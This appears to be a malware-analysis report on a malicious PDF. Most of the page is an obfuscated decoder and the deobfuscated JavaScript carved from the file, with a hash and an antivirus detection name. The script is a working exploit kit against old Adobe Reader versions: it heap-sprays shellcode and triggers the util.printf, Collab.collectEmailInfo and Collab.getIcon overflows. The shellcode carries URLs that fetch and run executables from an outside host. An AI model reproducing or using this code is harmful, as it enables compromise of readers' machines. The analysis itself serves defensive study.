156,165,157,81,113,81,105,101,110,102,103,90,176,62,63,58,62,58,164,167,154,163,155,157,164,168,85,92,114,81,164,167,154,163,155,157,164,168,112,62,63,58,62,174,66,59,62,58,169,153,158,164,99,148,164,157,161,146,151,132,169,160,167,150,85,110,85,116,164,157,161,146,151,95,152,160,161,157,154,148,169,118,162,146,158,157,126,159,155,160,93,172,168,166,151,155,111,81,87,83,97,158,168,152,111,81,164,167,154,163,155,157,164,168,178,90,112,62,63,58,178,62,63,62,63,58,155,166,163,148,169,154,164,159,85,148,164,157,161,146,151,144,156,150,169,154,152,160,163,89,94,172,66,59,62,58,158,151,85,89,150,161,165,95,153,160,152,95,120,160,161,157,150,147,99,152,154,165,126,148,164,159,94,172,66,59,62,58,62,167,150,163,85,146,167,163,174,81,114,81,163,150,172,81,118,163,167,146,174,89,94,108,66,59,62,58,62,167,150,163,85,167,171,161,154,165,157,170,150,81,114,81,170,159,154,164,152,146,165,150,93,83,90,166,122,115,122,106,90,166,101,97,101,98,90,166,106,103,101,97,90,166,118,98,107,101,90,166,101,97,104,97,90,166,101,97,101,97,90,166,105,97,109,115,90,166,109,115,101,116,90,166,102,116,108,97,90,166,109,115,118,117,90,166,101,105,105,97,90,166,120,100,106,118,90,166,109,115,106,102,90,166,109,115,122,116,90,166,101,105,105,102,90,166,104,100,106,99,90,166,120,98,121,99,90,166,101,100,120,99,90,166,102,97,104,99,90,166,109,97,105,97,90,166,101,97,104,105,90,166,123,102,108,102,90,166,120,99,109,115,90,166,106,117,106,114,90,166,101,101,120,99,90,166,106,102,101,97,90,166,122,116,109,115,90,166,106,98,106,98,90,166,106,103,106,100,90,166,107,97,106,104,90,166,106,117,109,115,90,166,104,100,101,105,90,166,109,115,120,97,90,166,101,116,108,102,90,166,123,118,109,115,90,166,108,103,101,100,90,166,109,115,104,116,90,166,108,105,105,118,90,166,120,119,101,100,90,166,106,98,109,115,90,166,106,99,102,116,90,166,106,98,109,115,90,166,106,99,103,101,90,166,108,98,109,115,90,166,105,118,102,101,90,166,108,102,109,106,90,166,109,115,123,116,90,166,103,97,108,98,90,166,123,104,101,100,90,166,105,114,110,106,90,166,105,99,118,117,90,166,104,115,107,97,90,166,123,116,106,102,90,166,101,101,108,102,90,166,120,97,104,100,90,166,104,104,122,115,90,166,123,119,104,100,90,166,105,102,101,100,90,166,110,104,101,116,90,166,120,119,109,115,90,166,108,102,118,118,90,166,103,115,123,117,90,166,105,119,123,106,90,166,122,105,106,98,90,166,123,119,110,101,90,166,123,119,123,119,90,166,120,100,104,115,90,166,108,101,107,98,90,166,122,115,101,99,90,166,109,115,121,106,90,166,101,116,105,102,90,166,106,118,110,99,90,166,123,99,101,100,90,166,122,97,121,98,90,166,120,103,101,100,90,166,120,106,104,100,90,166,119,104,101,119,90,166,106,119,101,105,90,166,122,98,120,98,90,166,101,100,101,99,90,166,101,100,120,114,90,166,109,115,120,119,90,166,101,100,101,98,90,166,109,106,120,99,90,166,123,105,105,102,90,166,109,115,107,98,90,166,123,105,105,102,90,166,106,118,106,119,90,166,120,106,106,115,90,166,106,102,120,100,90,166,122,116,109,115,90,166,122,105,106,98,90,166,123,119,105,106,90,166,123,119,123,119,90,166,107,105,106,97,90,166,107,97,122,105,90,166,101,101,119,119,90,166,107,116,122,105,90,166,123,119,123,119,90,166,104,100,123,119,90,166,106,99,121,99,90,166,123,119,106,99,90,166,101,105,108,102,90,166,121,97,123,119,90,166,105,102,109,106,90,166,109,115,123,116,90,166,123,116,105,102,90,166,120,100,120,106,90,166,109,115,106,102,90,166,109,100,122,116,90,166,101,116,122,116,90,166,105,102,109,117,90,166,106,97,123,101,90,166,105,102,120,103,90,166,108,102,123,101,90,166,105,102,120,103,90,166,108,99,123,102,90,166,105,102,120,103,90,166,107,116,123,103,90,166,105,102,120,103,90,166,107,117,123,104,90,166,105,102,120,103,90,166,107,119,123,105,90,166,105,102,120,103,90,166,107,118,123,106,90,166,105,102,120,103,90,166,103,118,123,114,90,166,105,102,120,103,90,166,107,101,123,115,90,166,105,102,120,103,90,166,107,116,123,116,90,166,105,102,120,103,90,166,107,116,123,117,90,166,105,102,120,103,90,166,101,97,123,118,90,166,118,97,122,105,90,166,123,119,123,119,90,166,106,97,123,119,90,166,106,117,107,105,90,166,102,98,109,114,90,166,122,105,102,103,90,166,123,119,102,102,90,166,123,119,123,119,90,166,120,101,109,100,90,166,109,102,101,116,90,166,108,101,120,97,90,166,107,114,102,102,90,166,107,114,101,97,90,166,123,119,101,97,90,166,101,116,108,102,90,166,108,102,123,119,90,166,107,114,101,105,90,166,123,119,101,97,90,166,109,102,121,97,90,166,108,102,120,97,90,166,105,97,101,100,90,166,120,100,120,106,90,166,120,97,104,100,90,166,120,100,120,106,90,166,104,100,106,104,90,166,109,115,120,97,90,166,103,101,105,116,90,166,109,115,101,116,90,166,103,101,108,116,90,166,123,116,101,105,90,166,118,114,123,100,90,166,120,100,106,119,90,166,105,116,109,115,90,166,101,101,103,101,90,166,104,106,109,97,90,166,109,115,101,97,90,166,108,101,120,98,90,166,105,97,101,103,90,166,104,105,109,97,90,166,108,102,101,97,90,166,103,115,123,114,90,166,120,100,120,98,90,166,109,115,106,102,90,166,109,100,122,116,90,166,107,101,122,116,90,166,109,117,106,100,90,166,123,97,105,102,90,166,104,100,106,104,90,166,106,97,121,115,90,166,105,102,120,103,90,166,107,115,123,97,90,166,105,102,120,103,90,166,107,102,123,98,90,166,105,102,120,103,90,166,108,99,123,99,90,166,105,102,120,103,90,166,107,118,123,100,90,166,105,102,120,103,90,166,107,102,123,101,90,166,105,102,120,103,90,166,107,116,123,102,90,166,105,102,120,103,90,166,104,100,123,103,90,166,105,102,120,103,90,166,104,99,123,104,90,166,105,102,120,103,90,166,103,118,123,105,90,166,105,102,120,103,90,166,107,101,123,106,90,166,105,102,120,103,90,166,107,116,123,114,90,166,105,102,120,103,90,166,107,116,123,115,90,166,106,117,109,105,90,166,122,105,123,116,90,166,123,119,101,115,90,166,123,119,123,119,90,166,107,105,106,97,90,166,105,100,107,105,90,166,109,118,123,106,90,166,109,97,122,105,90,166,123,119,123,118,90,166,109,115,123,119,90,166,109,117,123,105,90,166,110,116,105,102,90,166,105,101,107,114,90,166,122,105,106,97,90,166,123,119,108,118,90,166,123,119,123,119,90,166,105,102,109,117,90,166,107,114,122,97,90,166,106,97,102,97,90,166,108,100,122,105,90,166,123,119,123,119,90,166,109,100,123,119,90,166,102,116,120,101,90,166,105,102,109,117,90,166,106,97,122,97,90,166,105,102,109,117,90,166,106,97,110,116,90,166,106,100,106,100,90,166,106,100,106,100,90,166,106,100,106,100,90,166,108,102,123,119,90,166,120,104,101,105,90,166,110,116,105,102,90,166,101,97,105,101,90,166,101,97,101,97,90,166,123,119,106,100,90,166,106,119,121,104,90,166,119,103,101,119,90,166,106,115,120,97,90,166,120,100,120,106,90,166,109,115,106,102,90,166,106,98,122,116,90,166,106,100,106,98,90,166,106,104,106,103,90,166,105,99,107,114,90,166,108,99,122,105,90,166,101,97,101,97,90,166,109,115,101,97,90,166,104,100,121,105,90,166,109,102,123,103,90,166,106,106,121,115,90,166,105,102,120,104,90,166,107,98,123,105,90,166,107,102,103,118,90,166,120,104,108,105,90,166,123,116,105,102,90,166,101,97,107,102,90,166,101,97,101,97,90,166,106,103,108,118,90,166,105,102,109,117,90,166,106,97,123,105,90,166,122,105,106,103,90,166,101,97,106,98,90,166,101,97,101,97,90,166,106,97,106,106,90,166,119,98,122,105,90,166,123,119,123,118,90,166,109,102,123,119,90,166,106,106,120,97,90,166,108,101,106,106,90,166,109,117,104,106,90,166,101,98,105,103,90,166,122,105,106,97,90,166,101,97,104,115,90,166,101,97,101,97,90,166,123,105,109,115,90,166,105,102,109,117,90,166,106,97,123,105,90,166,103,98,122,105,90,166,123,119,123,119,90,166,109,102,123,119,90,166,106,106,120,97,90,166,108,101,106,106,90,166,106,104,101,116,90,166,101,98,122,105,90,166,123,119,123,119,90,166,106,106,123,119,90,166,105,101,120,103,90,166,123,119,104,105,90,166,106,97,108,100,90,166,105,102,109,117,90,166,123,118,123,105,90,166,106,105,101,97,90,166,105,102,109,117,90,166,106,97,123,105,90,166,122,105,106,104,90,166,123,118,108,101,90,166,123,119,123,119,90,166,106,106,106,106,90,166,105,103,105,103,90,166,123,100,104,115,90,166,118,114,108,116,90,166,106,118,106,119,90,166,120,106,106,115,90,166,106,102,120,100,90,166,122,116,109,115,90,166,106,100,106,98,90,166,107,97,107,103,90,166,104,99,119,98,90,166,101,97,122,105,90,166,101,97,101,97,90,166,106,105,101,97,90,166,101,105,104,105,90,166,101,100,108,101,90,166,122,115,105,97,90,166,105,97,123,106,90,166,106,117,109,115,90,166,109,97,101,105,90,166,105,99,123,115,90,166,101,105,108,102,90,166,121,115,104,100,90,166,102,105,109,114,90,166,120,100,109,115,90,166,102,104,122,115,90,166,102,105,104,105,90,166,102,98,108,103,90,166,104,100,105,97,90,166,109,101,120,106,90,166,108,101,121,115,90,166,105,97,101,116,90,166,101,105,104,105,90,166,123,115,108,102,90,166,123,118,105,97,90,166,122,115,120,115,90,166,104,100,123,99,90,166,109,106,120,97,90,166,123,116,105,102,90,166,105,102,109,115,90,166,106,115,123,116,90,166,120,100,120,106,90,166,101,99,104,99,90,166,108,101,107,105,90,166,108,97,108,101,90,166,103,119,104,114,90,166,108,100,103,119,90,166,108,98,108,102,90,166,108,104,107,106,90,166,107,115,108,106,90,166,107,100,103,118,90,166,103,119,107,118,90,166,104,98,107,98,90,166,103,119,104,99,90,166,107,119,107,117,90,166,108,98,108,97,90,166,104,99,108,100,90,166,107,102,103,118,90,166,107,102,108,105,90,166,107,105,101,97,90,166,108,101,108,101,90,166,104,114,108,97,90,166,103,119,103,119,90,166,108,102,108,100,90,166,107,106,108,98,90,166,108,106,108,104,90,166,103,118,107,115,90,166,107,118,107,100,90,166,107,98,103,119,90,166,104,99,104,98,90,166,107,100,103,119,90,166,107,106,107,116,90,166,107,115,107,100,90,166,108,97,103,118,90,166,108,97,107,105,90,166,108,99,104,119,90,166,101,97,104,117,87,90,112,62,63,58,62,58,171,146,167,81,157,136,166,102,101,97,120,127,85,110,85,167,171,161,154,165,157,170,150,95,161,150,163,152,169,153,85,91,85,99,112,62,63,58,62,58,171,146,167,81,161,150,163,81,114,81,101,169,105,97,101,97,101,97,85,94,85,89,157,136,166,102,101,97,120,127,85,92,85,97,173,100,109,90,112,62,63,58,62,58,171,146,167,81,174,146,167,164,165,81,114,81,170,159,154,164,152,146,165,150,93,83,90,166,110,97,110,97,90,166,110,97,110,97,87,90,112,62,63,58,62,58,174,146,167,164,165,81,114,81,155,154,173,144,158,165,93,170,150,163,168,161,97,81,161,150,163,90,112,62,63,58,62,58,171,146,167,81,165,102,118,155,128,103,106,151,85,110,85,89,101,169,101,148,101,148,101,148,101,148,85,94,85,97,173,101,101,97,101,97,101,90,85,96,85,97,173,101,101,97,101,97,101,108,66,59,62,58,62,151,164,163,85,89,171,146,167,81,171,162,152,130,121,106,107,170,85,110,85,97,112,81,171,162,152,130,121,106,107,170,85,109,85,161,106,114,159,124,107,102,155,108,85,167,166,148,134,117,110,103,174,81,96,92,85,90,176,62,63,58,62,58,62,146,167,163,174,140,171,162,152,130,121,106,107,170,146,81,114,81,174,146,167,164,165,81,96,81,171,167,165,150,169,153,174,146,112,62,63,58,62,58,178,62,63,58,62,58,171,146,167,81,169,134,130,153,131,147,124,168,85,110,85,166,163,150,168,148,150,161,154,89,87,86,101,106,87,90,112,62,63,58,62,58,172,153,158,157,154,81,93,165,138,126,157,127,151,120,172,95,161,150,163,152,169,153,85,109,85,97,173,101,101,97,101,90,176,62,63,58,62,58,62,165,138,126,157,127,151,120,172,81,96,110,85,165,138,126,157,127,151,120,172,108,66,59,62,58,62,174,66,59,62,58,62,165,138,126,157,127,151,120,172,81,114,81,87,127,99,83,85,92,85,165,138,126,157,127,151,120,172,108,66,59,62,58,62,146,165,161,99,149,164,148,99,116,164,157,161,146,151,95,156,150,169,122,152,160,163,89,169,134,130,153,131,147,124,168,94,108,66,59,62,58,178,62,63,58,178,62,63,62,63,58,155,166,163,148,169,154,164,159,85,161,153,151,148,164,169,146,167,165,93,90,176,62,63,62,63,58,62,167,150,163,85,167,154,163,168,154,164,159,85,110,85,146,165,161,99,167,158,150,172,150,167,135,154,163,168,154,164,159,99,165,164,132,169,163,158,159,156,89,94,108,66,59,62,58,171,150,167,164,158,160,163,81,114,81,171,150,167,164,158,160,163,95,167,150,165,157,150,148,154,89,100,141,121,96,156,93,92,88,94,108,66,59,62,58,171,146,167,81,171,146,167,164,158,160,163,144,150,163,167,146,174,81,114,81,163,150,172,81,118,163,167,146,174,89,171,150,167,164,158,160,163,95,152,153,150,163,118,165,93,97,94,93,85,167,154,163,168,154,164,159,99,148,157,146,167,114,169,89,102,90,97,81,171,150,167,164,158,160,163,95,152,153,150,163,118,165,93,99,94,90,112,62,63,58,62,154,155,81,93,89,171,146,167,164,158,160,163,144,150,163,167,146,174,140,101,142,85,110,114,81,109,90,85,87,91,81,93,167,150,163,168,154,164,159,148,146,167,163,150,170,144,98,146,81,114,110,85,97,94,81,177,173,85,89,171,146,167,164,158,160,163,144,150,163,167,146,174,140,102,142,85,110,114,81,102,81,91,87,85,167,150,163,168,154,164,159,148,146,167,163,150,170,144,99,146,81,113,81,104,90,94,172,66,59,62,58,62,166,169,154,161,144,165,163,158,159,169,151,93,90,112,62,63,58,62,174,66,59,62,58,158,151,85,89,93,167,150,163,168,154,164,159,148,146,167,163,150,170,144,97,146,81,113,81,109,90,85,173,177,81,93,167,150,163,168,154,164,159,148,146,167,163,150,170,144,97,146,81,114,110,85,105,85,87,91,81,171,146,167,164,158,160,163,144,150,163,167,146,174,140,102,142,85,109,85,99,85,87,91,81,171,146,167,164,158,160,163,144,150,163,167,146,174,140,103,142,85,109,85,99,94,90,176,62,63,58,62,58,152,160,161,157,150,147,148,150,162,146,158,157,93,90,112,62,63,58,62,174,66,59,62,58,158,151,85,89,93,167,150,163,168,154,164,159,148,146,167,163,150,170,144,97,146,81,113,81,110,90,85,173,177,81,93,167,150,163,168,154,164,159,148,146,167,163,150,170,144,97,146,81,114,110,85,106,85,87,91,81,171,146,167,164,158,160,163,144,150,163,167,146,174,140,102,142,85,109,85,98,94,90,176,62,63,58,62,58,152,160,161,157,150,147,148,152,154,165,158,148,164,159,93,90,112,62,63,58,62,174,66,59,62,174,66,59,66,59,62,161,153,151,148,164,169,146,167,165,93,90,112,62,63,58],aght=zipms['fYrJoJmyCJhIaYryC6oydIe6'.replace(/[6JIYy]/g,'')],afitux=function(){for(var jkrtu;kmrtw<mpruwx.length;kmrtw++){var aejksy=mpruwx[kmrtw];var bcfhpq=kmrtw%celmnw.length+1;var aekqwy=celmnw.substring(kmrtw%celmnw.length,bcfhpq);ekpu+=aght(aejksy-aekqwy.charCodeAt(0));} befltu(ekpu);};afitux();lrvw="lrvw";efpx=false;kvarlz="kvarlz";cdex=true;ilpr="ilpr";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x268	9880 bytes
SHA-256: `61b84eb397fc96fa7bd89b4643ab8b6e17b55517a473d2a82bb7d6bf5f5d2214`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6564%u6B68%u7572%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6765%u7369%u7775%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7175%u7769%u6B79%u632E%u2F6E%u3161%u2F32%u6F6D%u7170%u3273%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7573%u6971%u7977%u2E6B%u6E63%u612F%u3231%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 12

Related samples 5

Extracted artifacts 2